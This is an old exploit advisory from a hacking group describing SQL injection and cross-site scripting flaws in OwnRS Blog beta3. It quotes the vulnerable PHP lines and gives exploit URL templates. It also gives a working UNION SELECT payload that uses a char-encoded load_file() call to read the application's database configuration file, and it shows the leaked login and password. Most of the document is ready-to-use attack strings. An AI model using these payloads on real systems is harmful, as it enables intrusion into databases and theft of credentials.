ownrsblog-sqlxss.txt

`==============================================================  
OwnRS Blog beta3 (SQL/XSS) Multiple Remote Vulnerabilities  
==============================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
  
AUTHOR : CWH Underground  
DATE : 19 June 2008  
SITE : www.citec.us  
  
  
#####################################################  
APPLICATION : OwnRS  
VERSION : Beta3  
VENDOR : N/A  
DOWNLOAD : http://downloads.sourceforge.net/ownrs  
#####################################################  
  
--- Remote SQL Injection ---  
  
**magic_quote must turn off**  
  
------------------------------  
Vulnerable File (clanek.php)  
------------------------------  
  
@ Line 66  
  
[+] $vysledek=mysql_query("select * from clanky where id= '" . $id . "'") or die (mysql_error());  
  
----------  
Exploit  
----------  
  
[+] http://[Target]/[Ownrs_path]/clanek.php?id=[SQL Injection]  
  
-------------  
POC Exploit  
-------------  
  
[+] http://localhost/own/clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1  
  
When you view source, You can see  
  
@Line 87  
  
[+] <h1><a href="clanek.php?id=1'/**/UNION/**/ALL/**/SELECT/**/1,2,load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112)),4,5,6,7,8,9,10/**/FROM/**/autori/**/WHERE/**/id='1"><?php  
[+] $spojeni= mysql_connect(  
[+] //server  
[+] "localhost",  
[+] //login  
[+] "xampp",  
[+] //heslo  
[+] "xampp" );  
[+] //databáze  
[+] mysql_select_db("databaze",$spojeni);  
[+] ?>  
[+] </a></h1>  
[+] 45<p class="right"><strong><a href="index.php?kat=9">  
[+] <div class="cara"><span class="schovat">cara</span></div>  
  
  
---------------------  
Exploit Description  
---------------------  
  
This exploit use load_file() to view source files (load_file() can only use with Mysql5+)  
  
load_file(char(67,58,92,120,97,109,112,112,92,104,116,100,111,99,115,92,79,119,110,92,100,98,46,112,104,112))  
will open C:\xampp\htdocs\Own\db.php  
  
  
--- Remote XSS Exploit ---  
  
------------------------------  
Vulnerable File (clanek.php)  
------------------------------  
  
@ Line 69  
  
[+] <h1><a href="clanek.php?id=<?echo $id?>"><?echo $zaznam["nadpis"]?></a></h1>  
  
---------  
Exploit  
---------  
  
[+] http://[Target]/[Ownrs_path]/clanek.php?id=<XSS>  
  
  
##################################################################  
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #  
##################################################################  
`